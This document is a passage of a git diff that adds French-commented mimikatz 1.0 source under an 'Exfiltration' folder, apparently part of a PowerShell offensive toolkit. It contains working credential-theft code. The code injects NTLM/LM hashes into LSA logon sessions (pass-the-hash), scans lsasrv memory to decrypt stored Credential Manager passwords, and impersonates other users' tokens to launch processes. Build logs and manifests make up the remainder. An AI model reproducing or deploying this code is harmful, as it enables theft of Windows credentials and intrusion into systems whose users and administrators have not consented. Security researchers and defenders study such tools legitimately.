utilisateurs + { + case 4: + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + break; + case 6: + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(4); + break; + case 5: + if(mesArguments->at(3).size() == 0x20) + { + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(3); + } + else + { + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + } + break; + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + + if(idApp.LowPart != 0 || idApp.HighPart != 0) + { + if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) + { + mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); + mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); + if(kiwicreds.LmPasswordPresent) + mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); + mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); + + maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de donnes de scurit russie :)" : L"Injection de donnes de scurit en chec :("); + } + else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractres, le nom d\'utilisateur et le domaine/poste au maximum 22 caractres"; + } + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h new file mode 100644 index 0000000..4749573 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" +#include "msv1_0_helper.h" + +bool searchMSVFuncs(); +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp new file mode 100644 index 0000000..7ccb8e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp @@ -0,0 +1,53 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0_helper.h" +DWORD MSV1_0_MspAuthenticationPackageId = 0; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress))); +} + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) +{ + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); + CredentialString.Buffer = reinterpret_cast<char *>(Credential); + CredentialString.MaximumLength = CredentialString.Length = CredentialSize; + SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); + return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); +} + +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) +{ + ULONG QueryContext = 0, PrimaryKeyLength; + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); + if(NT_SUCCESS(retour)) + { + SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); + *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); + if (CredentialSize) + *CredentialSize = CredentialString.Length; + } + return retour; +} + +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) +{ + STRING PrimaryKeyValue; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h new file mode 100644 index 0000000..e9afd03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +#define MSV1_0_PRIMARY_KEY "Primary" +extern DWORD MSV1_0_MspAuthenticationPackageId; + +typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; +} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..af1843d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..065c191 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..662e27d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..8bfc485 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..a090f02 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..3c62e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..a61d64e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..c2411f0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..0c67d61 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..52d7b3d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..465eb7a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..9befde9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res Binary files differnew file mode 100644 index 0000000..d0ba1dd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog new file mode 100644 index 0000000..929c472 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\sekurlsa\sekurlsa.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp new file mode 100644 index 0000000..fe846b4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp @@ -0,0 +1,180 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "credman.h" + +PCRED_I_ENUMERATE CredIEnumerate = NULL; + +bool searchCredmanFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4}; + LONG OFFS_WIN5_CrediEnumerate = 0; + BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; + LONG OFFS_WNO8_CrediEnumerate = -22; + BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; + LONG OFFS_WIN8_CrediEnumerate = -30; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0}; + BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9}; + BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0}; + BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0}; + LONG OFFS_WALL_CrediEnumerate = 0; +#endif + + if(!CredIEnumerate) + { + PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_CrediEnumerate; + taille = sizeof(PTRN_WIN5_CrediEnumerate); + offset = OFFS_WIN5_CrediEnumerate; + } + else + { + if (mod_system::GLOB_Version.dwMinorVersion < 2) + { + pattern = PTRN_WNO8_CrediEnumerate; + taille = sizeof(PTRN_WNO8_CrediEnumerate); + offset = OFFS_WNO8_CrediEnumerate; + } + else + { + pattern = PTRN_WIN8_CrediEnumerate; + taille = sizeof(PTRN_WIN8_CrediEnumerate); + offset = OFFS_WIN8_CrediEnumerate; + } + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_CrediEnumerate; + taille = sizeof(PTRN_WIN5_CrediEnumerate); + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WN60_CrediEnumerate; + taille = sizeof(PTRN_WN60_CrediEnumerate); + } + else if (mod_system::GLOB_Version.dwMinorVersion < 2) + { + pattern = PTRN_WN61_CrediEnumerate; + taille = sizeof(PTRN_WN61_CrediEnumerate); + } + else + { + pattern = PTRN_WN62_CrediEnumerate; + taille = sizeof(PTRN_WN62_CrediEnumerate); + } + } + offset = OFFS_WALL_CrediEnumerate; +#endif + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); + } + return (searchLSAFuncs() && CredIEnumerate); +} + +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@CredIEnumerate = " << CredIEnumerate << endl << + L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getCredmanData, wstring(L"credman"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream message; + if(searchCredmanFuncs()) + { + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; + NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); + + if(NT_SUCCESS(status)) + { + for(DWORD i = 0; i < credNb; i++) + { + wstring Target(pCredential[i]->TargetName); + wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); + + message << endl; + if(justSecurity) + message << L"\t [" << i << L"] " << Target << L'\t'; + else message << + L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << + L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << + L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl; + + if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) + { + CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast<wchar_t *>(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; + DWORD dwNbCredentials; + PENCRYPTED_CREDENTIALW * pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + if(status == STATUS_INVALID_PARAMETER) + { + mesInfos.Flags |= CRED_TI_USERNAME_TARGET; + status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + } + if(NT_SUCCESS(status)) + { + for(DWORD j = 0; j < dwNbCredentials ; j++) + { + wostringstream prefix; prefix << L"[" << j << L"] "; + message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); + } + SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); + } + else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); + } + else + { + PENCRYPTED_CREDENTIALW pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); + if(NT_SUCCESS(status)) + { + message << descEncryptedCredential(pEncryptedCredential, justSecurity); + CredFree(pEncryptedCredential); + } + else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); + } + } + CredFree(pCredential); + } + else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); + } else message << L"n.a. (credman KO)"; + return sendTo(monPipe, message.str()); +} + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) +{ + wostringstream monStream; + + LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast<PWSTR>(pEncryptedCredential->Cred.CredentialBlob)}; + wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); + + if(justSecurity) + monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; + else monStream << + L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << + L"\t " << prefix << L"Cred : " << cred << endl; + + return monStream.str(); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h new file mode 100644 index 0000000..60d1249 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchCredmanFuncs(); +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments); +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); + +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp new file mode 100644 index 0000000..7284da7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "incognito.h" + +bool searchIncognitoFuncs() +{ + return searchLSAFuncs(); +} + +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getTokenData, wstring(L"token"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) + { + wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); + if(mesArguments->size() == 4) + { + idSecAppHigh = idSecAppLow; + idSecAppLow = mesArguments->at(1); + session = mesArguments->at(2); + } + LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + DWORD maSession = _wtoi(session.c_str()); + HANDLE monToken; + monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"OK !" << endl << + L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; + if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) + { + monStream << L"OK !" << endl << + L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; + PROCESS_INFORMATION mesInfosProcess; + if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) + { + monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + CloseHandle(monToken); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + } + else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; + } + else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; + } + return sendTo(monPipe, monStream.str()); +} + +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + HANDLE monToken; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"Disponible !"; + DWORD maSession, tailleRetournee; + if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) + { + monStream << L" - session d\'origine " << maSession; + CloseHandle(monToken); + } + else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; + } + else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; + } + return sendTo(monPipe, monStream.str()); +}
